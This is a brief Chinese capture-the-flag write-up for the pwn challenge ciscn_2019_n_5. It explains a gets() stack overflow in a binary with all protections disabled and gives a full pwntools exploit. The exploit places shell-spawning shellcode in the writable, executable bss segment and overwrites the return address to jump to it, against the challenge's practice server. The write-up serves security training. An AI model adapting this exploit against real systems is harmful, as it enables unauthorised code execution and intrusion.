ciscn_2019_n_5
使用checksec查看:

保护都关闭的状态。
放进IDA中分析:

read(0, name, 0x64uLL);:往变量name中写入数据,name在bss段上。地址为:0x601080gets(text, name);:存在栈溢出。
题目思路
- 保护全关,且bss段可写可执行。
- 把shellcode写入bss段上。
- 通过栈溢出跳到shellcode处执行getshell。
步骤解析
无需
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",27504)
# r = process("../buu/ciscn_2019_n_5")
context(arch='amd64',os='linux')
#params
flag_addr = 0x601080
shellcode = asm(shellcraft.sh())
#attack
payload = b'M'*(0x20+8) + p64(0x601080)
r.recvline()
r.sendline(shellcode)
r.recvline()
r.recvline()
r.sendline(payload)
r.interactive()
本文介绍CISCN_2019_N_5题目的解决思路,通过关闭所有保护机制并利用bss段可写可执行特性,构造shellcode并利用栈溢出技巧获取shell权限。
1151

被折叠的 条评论
为什么被折叠?



